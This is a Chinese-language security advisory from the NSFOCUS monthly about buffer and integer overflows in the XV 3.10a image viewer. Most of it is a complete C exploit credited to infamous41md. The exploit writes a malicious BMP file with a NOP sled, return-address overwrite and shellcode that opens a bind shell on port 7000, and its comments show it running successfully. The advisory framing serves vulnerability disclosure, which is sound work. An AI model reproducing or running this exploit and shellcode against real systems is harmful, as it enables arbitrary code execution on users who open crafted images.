首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第51期->最新漏洞
期刊号: 类型: 关键词:
XV多个缓冲区溢出和整数溢出漏洞

日期:2004-09-06

发布日期:2004-08-20
更新日期:2004-08-24

受影响系统:
John Bradley XV 3.10 a
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 10985

xv是X Windows系统下的图象处理工具。

xv存在多个缓冲区溢出和整数溢出,本地攻击者可以利用这个漏洞以用户进程权限在系统上执行任意指令。

基于堆栈的缓冲区溢出存在于'xvbmp.c'源文件中,根据报告用户提供的值在拷贝到堆栈的缓冲区中没有任何边界检查,可触发溢出。

'xviris.c'源文件存在多个基于堆的溢出,根据报告问题是由于整数处理问题。攻击者提供特殊整数值可导致内存分配问题,触发溢出。

'xvpcx.c'源文件也存在堆的溢出,问题是整数处理问题。攻击者提供特殊整数值可导致内存分配问题,触发溢出。

'xvpm.c'源文件也存在堆溢出问题,问题也是整数溢出问题,攻击者提供特殊整数值可导致内存分配问题,触发溢出。

精心构建恶意图象文件,诱使用户使用xv查看恶意文件时,可能以用户进程权限在系统上执行任意指令。

<*来源:infamous41md (infamous41md@hotpop.com)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109302498125092&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

infamous41md (infamous41md@hotpop.com)提供了如下测试方法:

/*
*  xv exploit for the bmp parsing buffer overflow
*
*  infamous42md AT hotpop DOT com  
*  PEOPLE STOP EMAILING MY BUGTRAQ ADDRESS AND USE THIS ONE!!
*
*  [n00b localho outernet] gcc -Wall xv_bmpslap.c
*  [n00b localho outernet] ./a.out
*      Usage: ./a.out < retaddr > [ align ]
*  [n00b localho outernet] ./a.out 0xbffff388
*  [n00b localho outernet] netstat -ant | grep 7000
*  [n00b localho outernet] ./xv suckit.bmp
*  [n00b localho outernet] netstat -ant | grep 7000
*  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN  
    *
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>


#define ALIGN 0
#define NOP 0x90
#define NNOPS 256
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define OUTFILE "suckit.bmp"
#define OVERWRITE_BYTES 700


/*  a bitmap header structure */
#define BMP_HDR_SZ sizeof(struct bmp)
struct bmp {
    u_char  type[2];
    u_int   bfsize,
            reserved,
            offbits,
            bisize,    /* 40 */
            width,
            height;
    u_short planes,     /* 1 */
            bitcount;   /* 4 */
    u_int   compres,    /* != 1 */
            szimg,
            xppm,
            ypppm,
            clrused,    /* write length */
            clrimportant;
} __attribute__ ((packed));


/* for easy access */
typedef union _ret {
    u_long  ret;
    u_char  retb[sizeof(u_long)];
} ret_t;


/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";
    

void make_bmp(char *buf, int len)
{
    int fd = 0;

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
        die("open");
    
    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);
}

/*
*
*/
int main(int argc, char **argv)
{
    int len, x, align = ALIGN;
    char    buf[BS];
    ret_t   retaddr;
    struct bmp   bmp;

    if(argc < 2){
        fprintf(stderr, "\tUsage: %s < retaddr > [ align ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(argc > 2){
        align = atoi(argv[2]);
        if(align < 0 || align > 3)
            die("get bent bitch");
    }
    sscanf(argv[1], "%lx", &retaddr.ret);

    /* setup bitmap */
    memset(&bmp, 0, BMP_HDR_SZ);
    bmp.type[0] = 'B', bmp.type[1] = 'M';
    bmp.bisize = 40;
    bmp.bitcount = 4;
    bmp.clrused = OVERWRITE_BYTES;
    bmp.planes = 1;
    
    /* create 3vil buf */
    memset(buf, NOP, BS);
    memcpy(buf, &bmp, BMP_HDR_SZ);
    len = BMP_HDR_SZ;
    len += align;
    
    /* fill in ret address starting at byte offset 0, every other 4 bytes */
    for(x = 0; x < OVERWRITE_BYTES; x++)
        buf[len + (x*4)] = retaddr.retb[x & 0x3];

    /* fill in shell after NOPS, at byte offset 2, every other 4 bytes */
    for(x = 0; x < strlen(remote); x++)
        buf[len + (NNOPS*4) + (x*4) + 2] = remote[x];

    /* extra */
    len += OVERWRITE_BYTES * 10;
    make_bmp(buf, len);

    return 0;
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

John Bradley
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.trilon.com/xv/
版权所有,未经许可,不得转载